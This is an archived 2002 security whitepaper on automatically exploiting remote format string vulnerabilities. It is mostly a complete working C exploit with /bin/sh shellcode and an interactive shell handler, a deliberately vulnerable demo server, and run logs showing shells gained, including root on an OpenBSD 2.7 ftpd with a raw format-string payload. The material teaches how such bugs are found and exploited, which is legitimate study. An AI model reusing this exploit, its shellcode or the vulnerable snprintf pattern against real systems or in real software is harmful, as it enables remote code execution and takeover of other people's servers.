TUCoPS :: General Information :: hack5286.htm

Automated remote format bug exploit whitepaper
19th Apr 2002 [SBWID-5286]
COMMAND

	Automated remote format bug exploit whitepaper

SYSTEMS AFFECTED

	All

PROBLEM

		      Howto remotely and automatically exploit a format bug

	

	         	    Frédéric Raynal <pappy@miscmag.com>

	

	

	

	

	Exploiting a format bug remotely can be something very funny. It  allows
	to very well understand the risks associated to this kind  of  bugs.  We
	won\'t explain here the basis for this vulnerability  (i.e.  its  origin
	or the building of the format string) since there are  already  lots  of
	articles available (see the bibliography at the end).
	

	

	--[  1. Context : the vulnerable server  ]--

	

	We will use very minimalist server (but  nevertheless  pedagogic)  along
	this paper. It requests  a  login  and  password,  then  it  echoes  its
	inputs. Its code is available in appendix 1.
	

	To install the fmtd server, you\'ll have  to  configure  inetd  so  that
	connections to port 12345 are allowed:
	

	# /etc/inetd.conf

	12345  stream  tcp  nowait  raynal  /home/raynal/MISC/2-MISC/RemoteFMT/fmtd

	

	

	Or with xinetd:
	

	# /etc/xinetd.conf

	

	service fmtd

	{

	  type        = UNLISTED

	  user        = raynal

	  group       = users

	  socket_type = stream

	  protocol    = tcp

	  wait        = no

	  server      = /tmp/fmtd

	  port        = 12345

	  only_from   = 192.168.1.1 192.168.1.2 127.0.0.1

	}

	

	Then restart your server. Don\'t forget to  change  the  rules  of  your
	firewall if you are using one.
	

	Now, let\'s see how this server is working:
	

	$ telnet bosley 12345

	Trying 192.168.1.2...

	Connected to bosley.

	Escape character is \'^]\'.

	login: raynal

	password: secret

	hello world

	hello world

	^]

	

	telnet> quit

	Connection closed.

	

	Let\'s have a look at the log file:
	

	Jan  4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes

	Jan  4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes

	Jan  4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)

	Jan  4 10:49:56 bosley inetd[407]: pid 877: exit status 255

	

	During the previous example, we simply enter a login, a password  and  a
	sentence before closing the connexion. But what  happens  when  we  feed
	the server with format instructions:
	

	telnet bosley 12345

	Trying 192.168.1.2...

	Connected to bosley.

	Escape character is \'^]\'.

	login: raynal

	password: secret

	%x %x %x %x

	d 25207825 78252078 d782520

	

	The instructions \"%x %x %x %x\"  being  executed,  it  shows  that  our
	server is vulnerable to a format bug.
	

	<off topic>

	    In fact, all programs acting like that are not vulnerable to a

	    format bug:

	

	          int main( int argc, char ** argv ) 

	          {

	            char buf[8];

	            sprintf( buf, argv[1] );

	          }

	      

	

	    Using %hn to exploit this leads to an overflow: the formatted

	    string is getting greater and greater, but since no control is

	    performed on its length, an overflow occurs.

	</off topic>

	

	Looking at the  sources  reveals  that  the  troubles  come  from  vul()
	function:
	

	  ...

	  snprintf(tmp, sizeof(tmp)-1, buf);

	  ...

	

	since the buffer <buf> is directly available  to  a  malicious  user,
	the latter is allowed to take control of the server ... and thus gain  a
	shell with the privileges of the server.
	

	

	--[ 2. Requested parameters ]--

	

	The same parameters as a local format bug are requested here:
	

	    * the offset to reach the beginning of the buffer ;

	    * the address of a shellcode placed somewhere is the server\'s memory ;

	    * the address of the vulnerable buffer ;

	    * a return address.

	

	The exploit is provided as example in annexe 2. The following  parts  of
	this article explain how it was designed.
	

	Here are some variables used in the exploit:
	

	    * sd : the socket between client (exploit) and the vulnerable server ;

	    * buf : a buffer to read/write some data ;

	    * read_at : an address in the server\'s stack ;

	    * fmt : format string sent to the server.

	

	

	  --[  2.1 Guessing the offset  ]--

	

	This parameter is always necessary for the exploitation of this kind  of
	bug, and its determination works  in  the  same  way  as  with  a  local
	exploitation:
	

	telnet bosley 12345

	Trying 192.168.1.2...

	Connected to bosley.

	Escape character is \'^]\'.

	login: raynal

	password: secret

	AAAA%1$x

	AAAAa

	AAAA%2$x

	AAAA41414141

	

	Here, the offset is 2. It is very easy to guess  it  automatically,  and
	that is what the function get_offset() aims  at.  It  sends  the  string
	\"AAAA%<val>$x\" to the server. If the offset is <val>,  then  the
	server answers with the string \"AAAA41414141\" :
	

	  #define MAXOFFSET 255

	

	  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

	

	    snprintf(fmt, sizeof(fmt), \"AAAA%%%d$x\", i);

	    write(sock, fmt, strlen(fmt));

	    memset(buf, 0, sizeof(buf));

	    sleep(1);

	    read(sock, buf, sizeof(buf))

	    if (!strcmp(buf, \"AAAA41414141\"))

	      offset = i;

	  }

	

	

	  --[  2.2 Guessing the address of the shellcode in the stack  ]--

	

	If one has to place a shellcode in the memory of  the  server,  it  then
	has to guess its address. It can be placed in the vulnerable buffer,  or
	in any other place: we don\'t care due to format bug  :)  For  instance,
	some ftp servers allowed to store it in  the  password  (PASS),  without
	not too many checks for anonymous  or  ftp  account.  Here,  our  server
	works that way.
	

	

	    -- --[  Making a format bug a debugger  ]-- --

	

	We aim at finding the address of the shellcode placed in the  memory  of
	the server. So, we will transform the remote server in  remote  debugger
	!
	

	Using the format string \"%s\", one is allowed to read until the  buffer
	is full or a NULL character is met. So, by sending  successively  \"%s\"
	to the server, the exploit is able to dump locally  the  memory  of  the
	remote process:
	

	         <addr>%<offset>$s

	

	In the exploit, it is performed in 2 steps:
	

	   1. The function get_addr_as_char(u_int addr, char *buf) converts

	      addr into char :

	       *(u_int*)buf = addr; 

	

	   2. then, the next 4 bytes contains the format instruction.

	

	The format string is then sent to the remote server:
	

	  get_addr_as_char(read_at, fmt);

	  snprintf(fmt+4, sizeof(fmt)-4, \"%%%d$s\", offset);

	  write(sd, fmt, strlen(fmt));

	

	The client reads a string at <addr>. If  it  contains  no  shellcode,
	the next reading is performed at this same address, to  which  one  adds
	the amount of read bytes (i.e. the return value of read()).
	

	However, all the <len> read characters should not be considered.  The
	vulnerable instruction on the server is something like:
	

		  sprintf(out, in); 

	

	To build the  out  buffer,  sprintf()  starts  by  parsing  the  <in>
	string. The first four bytes are the address we intend to read at:  they
	are simply copied to the output buffer. Then, a  format  instruction  is
	met and interpreted. Hence, we have to remove these 4 bytes:
	

	  while( (len = read(sd, buf, sizeof(buf))) > 0) {

	    [ ... ]

	    read_at += (len-4+1);

	    [ ... ]

	  }

	

	

	    -- --[  What to look for ?  ]-- --

	

	Another problem is how to identify the shellcode in memory. If one  just
	looks for all its bytes in the remote memory, there is a  risk  to  miss
	it. Since the buffer is ended by a NULL byte,  the  string  placed  just
	before can contain lots of NOPs. Hence the reading of the shellcode  can
	be split among 2 readings.
	

	To avoid this, if the amount of read characters is equal to the size  of
	the buffer, the exploit \"forgets\"  the  last  sizeof(shellcode)  bytes
	read from the server. Thus, the next reading is performed at:
	

	  while( (len = read(sd, buf, sizeof(buf))) > 0) {

	    [ ... ]

	    read_at += len;

	    if (len == sizeof(buf))

	      read_at-=strlen(shellcode);

	    [ ... ]

	  }

	

	This case has never been tested ... so I don\'t guarantee it works ;-/
	

	

	    -- --[  Guessing the exact address of the shellcode  ]-- --

	

	Pattern matching in a string is performed by the function:
	

		ptr = strstr(buf, pattern); 

	

	It returns a pointer to the parsed string addressing the first  byte  of
	the searched pattern. Thus, the position of the shellcode is:
	

		addr_shellcode = read_at + (ptr-buf); 

	

	Except that the buffer contains bytes we need to ignore !!! As  we  have
	previously noticed while exploring the stack, the first  four  bytes  of
	the output buffer are in fact the address we just read at:
	

	        addr_shellcode = read_at + (ptr-buf) - 4; 

	

	

	    -- --[  shellcode : a summary  ]-- --

	

	Sometimes, some code is worthier than long explanations:
	

	  while( (len = read(sd, buf, sizeof(buf))) > 0) {

	    if ((ptr = strstr(buf, shellcode))) {

	      addr_shellcode = read_at + (ptr-buf) - 4;

	      break;

	    }

	    read_at += (len-4+1);

	    if (len == sizeof(buf)) {

	      read_at-=strlen(shellcode);

	    }

	    memset (buf, 0x0, sizeof (buf));

	    get_addr_as_char(read_at, fmt);

	    write(sd, fmt, strlen(fmt));

	  }

	

	

	  --[  2.3 Guessing the return address  ]--

	

	The last (but not the  least)  parameter  to  determine  is  the  return
	address. We need to find a valid return address in  the  remote  process
	stack to overwrite it with the one of the shellcode.
	

	We won\'t explain here how the functions are called  in  C,  but  simply
	remind how variables and parameters are placed  in  the  stack.  Firstly
	the arguments are placed in the stack from the last one (upper)  to  the
	first one (most down). Then, instructions registers (%eip) is  saved  on
	the stack, followed by the base pointer register (%ebp) which  indicates
	the beginning of  the  memory  for  the  current  function.  After  this
	address, the memory is used for the local variables. When  the  function
	ends, %eip is popped and clean up is made on the stack. This just  means
	that the registers %esp and %ebp are popped  according  to  the  calling
	function. The stack is not cleaned up in any way.
	

	So, our goal is to find a place where the register %eip  is  saved.  Two
	steps are used:
	

	   1. find the address of the input buffer

	   2. find the return address of the function the vulnerable buffer

	      belongs to.

	

	Why do we need to look for the address of the buffer ? All pairs  (saved
	ebp, saved eip) that we could find in the stack are  not  good  for  our
	purpose. The stack is never really cleaned up between  different  calls.
	So it contains values used for  previous  calls,  even  if  they  won\'t
	really be used by the process.
	

	Thus, by firstly guessing the address of the vulnerable buffer, we  have
	a point above which all pairs (saved ebp, saved  eip)  are  valid  since
	the vulnerable buffer is itself on the top of the stack :)
	

	

	    -- --[  Guessing the address of the buffer  ]-- --

	

	The input buffer is easily identified in the  remote  memory:  it  is  a
	mirror for the characters we feed it with. The server fmtd  copies  them
	without any modification (Warning: if some  characters  were  placed  by
	the server before its answer, they should be considered).
	

	So, we simply have to look at the exact copy of  our  format  string  in
	the server\'s memory:
	

	  while((len = read(sd, buf, sizeof(buf))) > 0) {

	    if ((ptr = strstr(buf, fmt))) {

	      addr_buffer = read_at + (ptr-buf) - 4;

	      break;

	    }

	    read_at += (len-4+1);

	    memset (buf, 0x0, sizeof (buf));

	    get_addr_as_char(read_at, fmt);

	    write(sd, fmt, strlen(fmt));

	  }

	

	

	    -- --[  Guessing the return address  ]-- --

	

	On most of  the  Linux  distributions,  the  top  of  the  stack  is  at
	0xc0000000. This is not true for all the distributions: Caldera  put  it
	at 0x80000000 (BTW,  if  someone  can  explain  me  why  ?).  The  space
	reserved in it depends  on  the  needs  of  the  program  (mainly  local
	variables). These are usually placed  in  the  range  0xbfffXXXX,  where
	<XX> is an undefined byte. On the contrary, the  instruction  of  the
	process (.text section) are loaded from 0x08048000.
	

	So, we have to read the remote stack to find something that looks like:
	

			Top of the stack

			   0x0804XXXX

			   0xbfffXXXX

	

	Due to little endian, this is equivalent to looking for the string  0xff
	0xbf XX XX 0x04 0x08. As we have seen, we don\'t have  to  consider  the
	first 4 bytes of the returned string:
	

	    i = 4;

	    while (i<len-5 && addr_ret == -1) {

	      if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&

		  buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {

		addr_ret = read_at + i - 2 + 4 - 4;

		fprintf (stderr, \"[ret addr is: 0x%x (%d) ]\\n\", addr_ret, len);

	      }

	      i++;

	    }

	    if (addr_ret != -1) break;

	

	The variable <addr_ret> is initialized with a very complex formula:
	

	    * addr_ret : the address we just read ;

	    * +i : the offset in the string we are looking for the pattern (we

	      can\'t use strstr() since our pattern has wildcards - undefined

	      bytes XX) ;

	    * -2 : the first bytes we discover in the stack are ff bf, but

	      he full word (i.e. saved %ebp) is written on 4 bytes. The -2

	      is for the 2 \"least bytes\" placed at the beginning of the word XX

	      XX ff bf ;

	    * +4 : this modification is due to the return address which is 4

	      bytes above the saved %ebp ;

	    * -4 : as you should be used to now, the first 4 bytes which are a

	      copy of the read address.

	

	

	--[  3. Exploitation  ]--

	

	So, since we now have all the requested parameters, the exploitation  in
	itself is not very  difficult.  We  just  have  to  replace  the  return
	address of the vulnerable  function  (addr_ret)  with  the  one  of  the
	shellcode (addr_shellcode). The function fmtbuilder is  taken  from  [5]
	and build the format string sent to the server:
	

	      build_hn(buf, addr_ret, addr_shellcode, offset, 0);

	      write(sd, buf, strlen(buf));

	

	Once the replacement is performed in the remote stack, we just  have  to
	return from the vul()  function.  We  then  send  the  \"quit\"  command
	specially intended to that ;-)
	

	      strcpy(buf, \"quit\");

	      write(sd, buf, strlen(buf));

	

	Lastly, the function interact()  plays  with  the  file  descriptors  to
	allow us to use the gained shell.
	

	In the next example, the exploit is started from bosley to charly :
	

	$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01

	Using IP 192.168.1.1

	Connected to 192.168.1.1

	login sent [toto] (4)

	passwd (shellcode) sent (10)

	[Found offset = 6]

	[buffer addr is: 0xbfffede0 (12) ]

	buf = (12)

	e0 ed ff bf e0 ed ff bf 25 36 24 73 

	

	[shell addr is: 0xbffff5f0 (60) ]

	buf = (60)

	e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 

	31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 

	31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 

	[ret addr is: 0xbffff5ec (60) ]

	Building format string ...

	Sending the quit ...

	bye bye ...

	Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown

	uid=500(raynal) gid=100(users)

	exit

	$

	

	

	--[  4. Conclusion  ]--

	

	Less format bugs are discovered ... fortunately. As  we  just  saw,  the
	automation is not very  difficult.  The  library  fmtbuilmder  (see  the
	bibliography) also provides the necessary tools for that.
	

	Here, the exploit  starts  its  reading  of  the  remote  memory  to  an
	arbitrary value. But if it is too low, the server crashes.  The  exploit
	can be modified to explore the stack from the top to the  bottom...  but
	the strategies used to identify some values have  then  to  be  slightly
	adapted. The difficulty seems a bit greater.
	

	The reading then starts from the top  of  the  stack  0xc0000000-4.  One
	have to change the value of the variable addr_stack. Moreover, the  line
	read_at+=(len-4+1); have to be replaced with read_at-=4;  In  this  way,
	the argument -a is useless.
	

	The disadvantage of this solution is that the return  address  is  below
	the input buffer. But all that is below this buffer comes from  function
	that are no more in the stack: these data are written in a  free  region
	of the stack, so they can be modified at any time by  the  process.  So,
	the search of the return address has to be change (several can be  found
	above the vulnerable buffer ... but we can\'t control whether they  will
	be really used).
	

	--[  Greetings  ]--

	

	Denis Ducamp and Renaud Deraison for their comments/fixes.
	

	------------------------------------------------------------------------

	

	

	--[  Appendix 1 : the server side fmtd  ]--

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <netinet/in.h>

	#include <unistd.h>

	#include <stdarg.h>

	#include <syslog.h>

	

	void respond(char *fmt,...);

	

	int vul(void)

	{

	  char tmp[1024];

	  char buf[1024];

	  int len = 0;

	

	  syslog(LOG_ERR, \"vul() -> tmp = 0x%x buf = 0x%x\\n\", tmp, buf); 

	

	  while(1) {

	

	    memset(buf, 0, sizeof(buf));

	    memset(tmp, 0, sizeof(tmp));

	    if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {

	      syslog(LOG_ERR, \"vul() -> error while reading input buf [%s] (%d)\",

		     buf, len);

	      exit(-1);

	    } /*

		else

		syslog(LOG_INFO, \"vul() -> read %d bytes\", len);

	      */

	    if (!strncmp(buf, \"quit\", 4)) {

	      respond(\"bye bye ...\\n\");

	      return 0;

	    }

	    snprintf(tmp, sizeof(tmp)-1, buf);

	    respond(\"%s\", tmp);

	

	  }

	}

	

	void respond(char *fmt,...)

	{

	  va_list va;

	  char buf[1024];

	  int len = 0;

	

	  va_start(va,fmt);

	  vsnprintf(buf,sizeof(buf),fmt,va);

	  va_end(va);

	  len = write(STDOUT_FILENO,buf,strlen(buf));

	  /* syslog(LOG_INFO, \"respond() -> write %d bytes\", len); */

	}

	

	

	int main()

	{

	  struct sockaddr_in sin;

	  int i,len = sizeof(struct sockaddr_in);

	  char login[16];

	  char passwd[1024];

	  openlog(\"fmtd\", LOG_NDELAY | LOG_PID, LOG_LOCAL0);

	

	  /* get login */

	  memset(login, 0, sizeof(login));

	  respond(\"login: \");

	  if ( (len = read(0, login, sizeof(login))) <= 0 ) {

	    syslog(LOG_ERR, \"login -> error while reading login [%s] (%d)\",

		   login, len);

	    exit(-1);

	  } else

	    syslog(LOG_INFO, \"login -> read login [%s] (%d) bytes\", login, len);

	

	  /* get passwd */

	  memset(passwd, 0, sizeof(passwd));

	  respond(\"password: \");

	  if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {

	    syslog(LOG_ERR, \"passwd -> error while reading passwd [%s] (%d)\",

		   passwd, len);

	    exit(-1);

	  } else

	    syslog(LOG_INFO, \"passwd -> read passwd [%x] (%d) bytes\", passwd, len);

	

	  /* let\'s run ... */

	  vul();

	  return 0;

	}

	

	------------------------------------------------------------------------

	

	

	--[  Appendix 2 : the exploit side expl-fmtd  ]--

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <string.h>

	#include <sys/socket.h>

	#include <sys/types.h>

	#include <netinet/in.h>

	#include <netdb.h>

	#include <unistd.h>

	#include <getopt.h>

	

	

	

	char verbose = 0, debug = 0;

	

	#define OCT( b0, b1, b2, b3, addr, str ) { \\

			b0 = (addr >> 24) & 0xff; \\

	        	b1 = (addr >> 16) & 0xff; \\

	        	b2 = (addr >>  8) & 0xff; \\

	        	b3 = (addr      ) & 0xff; \\

	                if ( b0 * b1 * b2 * b3 == 0 ) { \\

	                	printf( \"\\n%s contains a NUL byte. Leaving...\\n\", str ); \\

	                  	exit( EXIT_FAILURE ); \\

	                } \\

		}

	#define MAX_FMT_LENGTH 	128 

	#define ADD		0x100	

	#define FOUR            sizeof( size_t ) * 4

	#define TWO             sizeof( size_t ) * 2

	#define BANNER \"uname -a ; id\"

	#define MAX_OFFSET 255

	

	int interact(int sock)

	{

	  fd_set fds;

	  ssize_t ssize;

	  char buffer[1024];

	

	  write(sock, BANNER\"\\n\", sizeof(BANNER));

	  while (1) {

	    FD_ZERO(&fds);

	    FD_SET(STDIN_FILENO, &fds);

	    FD_SET(sock, &fds);

	    select(sock + 1, &fds, NULL, NULL, NULL);

	

	    if (FD_ISSET(STDIN_FILENO, &fds)) {

	      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));

	      if (ssize < 0) {

		return(-1);

	      }

	      if (ssize == 0) {

		return(0);

	      }

	      write(sock, buffer, ssize);

	    }

	

	    if (FD_ISSET(sock, &fds)) {

	      ssize = read(sock, buffer, sizeof(buffer));

	      if (ssize < 0) {

		return(-1);

	      }

	      if (ssize == 0) {

		return(0);

	      }

	      write(STDOUT_FILENO, buffer, ssize);

	    }

	  }

	  return(-1);

	}

	

	u_long resolve(char *host)

	{

	  struct hostent *he;

	  u_long ret;

	

	  if(!(he = gethostbyname(host)))

	    {

	      herror(\"gethostbyname()\");

	      exit(-1);

	    }

	

	  memcpy(&ret, he->h_addr, sizeof(he->h_addr));

	  return ret;

	}

	int 

	build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)

	{

	  unsigned char b0, b1, b2, b3;

	  unsigned int high, low;

	  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;

	  int sz;

	

	  /* <locaddr> : where to overwrite */

	  OCT(b0, b1, b2, b3, locaddr, \"[ locaddr ]\");

	  sz = snprintf(buf, TWO + 1,     /* 8 char to have the 2 addresses */

		         \"%c%c%c%c\"       /* + 1 for the ending \\0 */

		         \"%c%c%c%c\",

		         b3, b2, b1, b0,

		         b3 + 2, b2, b1, b0);

	  

	  /* where is our shellcode ? */

	  OCT(b0, b1, b2, b3, retaddr, \"[ retaddr ]\");

	  high = (retaddr & 0xffff0000) >> 16; 

	  low = retaddr & 0x0000ffff;      

	

	  return snprintf(buf + sz, MAX_FMT_LENGTH, 

			   \"%%.%hdx%%%d$n%%.%hdx%%%d$hn\", 

			   low - TWO + start - base, 

			   offset, 

			   high - low + start, 

			   offset + 1);

	}

	

	

	

	void get_addr_as_char(u_int addr, char *buf) {

	

	  *(u_int*)buf = addr;

	  if (!buf[0]) buf[0]++;

	  if (!buf[1]) buf[1]++;

	  if (!buf[2]) buf[2]++;

	  if (!buf[3]) buf[3]++;

	}

	

	int get_offset(int sock) {

	

	  int i, offset = -1, len;

	  char fmt[128], buf[128];

	

	  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

	

	    snprintf(fmt, sizeof(fmt), \"AAAA%%%d$x\", i);

	    write(sock, fmt, strlen(fmt));

	    memset(buf, 0, sizeof(buf));

	    sleep(1);

	    if ((len = read(sock, buf, sizeof(buf))) < 0) {

	      fprintf(stderr, \"Error while looking for the offset (%d)\\n\", len);

	      close(sock);

	      exit(EXIT_FAILURE);

	    }

	

	    if (debug) 

	      fprintf(stderr, \"testing offset = %d fmt =  [%s] buf = [%s] len = %d\\n\", 

		      i, fmt, buf, len);

	

	    if (!strcmp(buf, \"AAAA41414141\"))

	      offset = i;

	  }

	  return offset;

	}

	

	char *shellcode =

	  \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"

	  \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"

	  \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";

	

	int main(int argc, char **argv)

	{

	  char *ip = \"127.0.0.1\", *ptr;

	  struct sockaddr_in sck;

	  u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */

	  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;

	  char buf[1024], fmt[128], c;

	  int port = 12345, offset = -1;

	  int sd, len, i;

	

	  while ((c = getopt(argc, argv, \"dvi:p:a:o:\")) != -1) {

	    switch (c) {

	      case \'i\':

		ip = optarg;

		break;

		  

	      case \'p\':

		port = atoi(optarg);

		break;

	

	      case \'a\':

		addr_stack = strtoul(optarg, NULL, 16);

		break;

		

	      case \'o\':

		offset = atoi(optarg);

		break;

	

	      case \'v\':

		verbose = 1;

		break;

	

	      case \'d\':

		debug = 1;

		break;

	

	      default:

		fprintf(stderr, \"Unknwon option %c (%d)\\n\", c, c);

		exit (EXIT_FAILURE);

	    }

	  }

	

	  /* init the sockaddr_in */

	  fprintf(stderr, \"Using IP %s\\n\", ip);

	  sck.sin_family = PF_INET;

	  sck.sin_addr.s_addr = resolve(ip);

	  sck.sin_port = htons (port);

	

	  /* open the socket */

	  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {

	    perror (\"socket()\");

	    exit (EXIT_FAILURE);

	  }

	  

	  /* connect to the remote server */

	  if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {

	    perror (\"Connect() \");

	    exit (EXIT_FAILURE);

	  }

	  fprintf (stderr, \"Connected to %s\\n\", ip);

	  if (debug) sleep(10);

	

	  /* send login */

	  memset (buf, 0x0, sizeof(buf));

	  len = read(sd, buf, sizeof(buf));

	  if (strncmp(buf, \"login\", 5)) {

	    fprintf(stderr, \"Error: no login asked [%s] (%d)\\n\", buf, len);

	    close(sd);

	    exit(EXIT_FAILURE);

	  }

	  strcpy(buf, \"toto\");

	  len = write (sd, buf, strlen(buf));

	  if (verbose) fprintf(stderr, \"login sent [%s] (%d)\\n\", buf, len);

	  sleep(1);

	

	  /* passwd: shellcode in the buffer and in the remote stack */

	  len = read(sd, buf, sizeof(buf));

	  if (strncmp(buf, \"password\", 8)) {

	    fprintf(stderr, \"Error: no password asked [%s] (%d)\\n\", buf, len);

	    close(sd);

	    exit(EXIT_FAILURE);

	  }

	  write (sd, shellcode, strlen(shellcode));

	  if (verbose) fprintf (stderr, \"passwd (shellcode) sent (%d)\\n\", len);

	  sleep(1);

	

	  /* find offset */

	  if (offset == -1) {

	    if ((offset = get_offset(sd)) == -1) {

	      fprintf(stderr, \"Error: can\'t find offset\\n\");

	      fprintf(stderr, \"Please, use the -o arg to specify it.\\n\");

	      close(sd);

	      exit(EXIT_FAILURE);

	    }

	    if (verbose) fprintf(stderr, \"[Found offset = %d]\\n\", offset);

	  }

	

	  /* look for the address of the shellcode in the remote stack */

	  memset (fmt, 0x0, sizeof(fmt));

	  read_at = addr_stack;

	  get_addr_as_char(read_at, fmt);

	  snprintf(fmt+4, sizeof(fmt)-4, \"%%%d$s\", offset);

	  write(sd, fmt, strlen(fmt));

	  sleep(1);

	

	  while((len = read(sd, buf, sizeof(buf))) > 0 && 

		(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

	

	    if (debug) fprintf(stderr, \"Read at 0x%x (%d)\\n\", read_at, len);

	

	    /* the shellcode */

	    if ((ptr = strstr(buf, shellcode))) {

	      addr_shellcode = read_at + (ptr-buf) - 4;

	      fprintf (stderr, \"[shell addr is: 0x%x (%d) ]\\n\", addr_shellcode, len);

	      fprintf(stderr, \"buf = (%d)\\n\", len);

	      for (i=0; i<len; i++) {

		fprintf(stderr,\"%.2x \", (int)(buf[i] & 0xff));

		if (i && i%20 == 0) fprintf(stderr, \"\\n\");

	      }

	      fprintf(stderr, \"\\n\");

	    }

	

	    /* the input buffer */

	    if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {

	      addr_buffer = read_at + (ptr-buf) - 4;

	      fprintf (stderr, \"[buffer addr is: 0x%x (%d) ]\\n\", addr_buffer, len);

	      fprintf(stderr, \"buf = (%d)\\n\", len);

	      for (i=0; i<len; i++) {

		fprintf(stderr,\"%.2x \", (int)(buf[i] & 0xff));

		if (i && i%20 == 0) fprintf(stderr, \"\\n\");

	      }

	      fprintf(stderr, \"\\n\\n\");

	    }

	

	    /* return address */

	    if (addr_buffer != -1) {

	      i = 4;

	      while (i<len-5 && addr_ret == -1) {

		if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&

		    buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {

		  addr_ret = read_at + i - 2 + 4 - 4;

		  fprintf (stderr, \"[ret addr is: 0x%x (%d) ]\\n\", addr_ret, len);

		}

		i++;

	      }

	    }

	

	    read_at += (len-4+1);

	    if (len == sizeof(buf)) {

	      fprintf(stderr, \"Warning: this has not been tested !!!\\n\");

	      fprintf(stderr, \"len = %d\\nread_at = 0x%x\", len, read_at);

	      read_at-=strlen(shellcode);

	    }

	    get_addr_as_char(read_at, fmt);

	    write(sd, fmt, strlen(fmt));

	  }

	

	  /* send the format string */

	  fprintf (stderr, \"Building format string ...\\n\");

	  memset(buf, 0, sizeof(buf));

	  build_hn(buf, addr_ret, addr_shellcode, offset, 0);

	  write(sd, buf, strlen(buf));

	  sleep(1);

	  read(sd, buf, sizeof(buf));

	

	  /* call the return while quiting */

	  fprintf (stderr, \"Sending the quit ...\\n\");

	  strcpy(buf, \"quit\");

	  write(sd, buf, strlen(buf));

	  sleep(1);

	

	  interact(sd);

	

	  close(sd);

	  return 0;

	}

	

	------------------------------------------------------------------------

	

	

	--[  Bibliography  ]--

	

	   1. More info on format bugs par P. \"kalou\" Bouchareine 

	      (http://www.hert.org/papers/format.html)

	

	   2. Format Bugs: What are they, Where did they come from,... How to

	      exploit them par lamagra 

	      (lamagra@digibel.org <lamagra@digibel.org>)

	

	   3. Éviter les failles de sécurité dès le développement d\'une

	      application - 4 : les chaînes de format  par F. Raynal, C.

	      Grenier, C. Blaess

	      (http://minimum.inria.fr/~raynal/index.php3?page=121 ou

	      http://www.linuxfocus.org/Francais/July2001/article191.shtml)

	

	   4. Exploiting the format string vulnerabilities par scut (team TESO)

	      (http://www.team-teso.net/articles/formatstring)

	

	   5. fmtbuilder-howto par F. Raynal et S. Dralet 

	      (http://minimum.inria.fr/~raynal/index.php3?page=501)

	

	

	------------------------------------------------------------------------

	

	

	 Update (22 April 2002)

	 ======

	

	Fredrik Widlund [fredrik.widlund@defcom.com] added :
	

	\"fox\", is a tool I wrote for automatically exploiting  any  (or  most)
	format bugs, locally and remotely. It runs on OpenBSD and not ported  to
	other platforms, though it should be very straighforward.
	

	The only requirement is that you get the actual printed string  back  to
	the program, in the case of the OpenBSD 2.7 ftpd you need to proxy  this
	through a small shell program since the output  occurs  in  the  process
	listing.
	

	This  should  work   for   exploiting   bugs   on   most   little-endian
	32bit-machines like the i386 providing you supply the shellcode.
	

	Included is a trivial local example, and another on how to point  it  at
	the OpenBSD 2.7 ftpd to remotely get a root prompt instead  of  the  ftp
	banner ...
	

	

	Exploiting OpenBSD 2.7 ftp server

	

	Input has to be < 256 characters, working offsets are -18 and -2

	Ex:

	

	root@wolf> ./fox -s 220 -p 50 -o-18 ex2/ex2

	alignment               0

	chars before argument   111

	chars before insert     0

	argument offset         9

	argument pointer offset 0

	argument address        0xdfbfd15c

	esp                     0xdfbfd138

	

	uid=0(root) gid=0(wheel) groups=0(wheel)

	root@wolf> nc 127.0.0.1 21

	id

	uid=0(root) gid=0(wheel) groups=0(wheel)

	uname -a

	OpenBSD wolf 2.7 GENERIC#0 i386

	cat /etc/hosts

	127.0.0.1 AAAA<81>ð<81>Ð<81>¿<81>ßBBBB<81>ñ<81>Ð<81>¿<81>ßCCCC<81>ò<81>Ð<81>¿

	<81>ßDDDD<81>ó<81>Ð<81>¿<81>ß%p%p%p%p%p%p%p%p%p%0323x%hn%0287x%hn%0238x%hn%0288x%hn<81>ëI<8B>$<81>Ã1<81>ÉQ<83><81>ÀP<89><81>Ã<83><81>ÃS<89>?<88>K<83><89>X<88>K

	<83><81>Ã<89><88>K<83><89>HP<81>¸;UUU%;<81>ª<81>ª<81>ª<81>Í<80>PP<81>¸UUU%<81>ª

	<81>ª<81>ª<81>Í<80><81>è<81>²<81>ÿ<81>ÿ<81>ÿ<81>ë<81>´[CODE_BY_LONEWOLF]/bin/shF-cGG/bin/shAxxxxxxxxxxxxx

	exit

	root@wolf>

	

	-------------------------------Cut----------------------------------------------

	

	Content-Type: application/x-gzip;

	  name=\"fox0.1.tgz\"

	Content-Transfer-Encoding: base64

	Content-Description: format bug exploiter

	Content-Disposition: attachment; filename=\"fox0.1.tgz\"

	

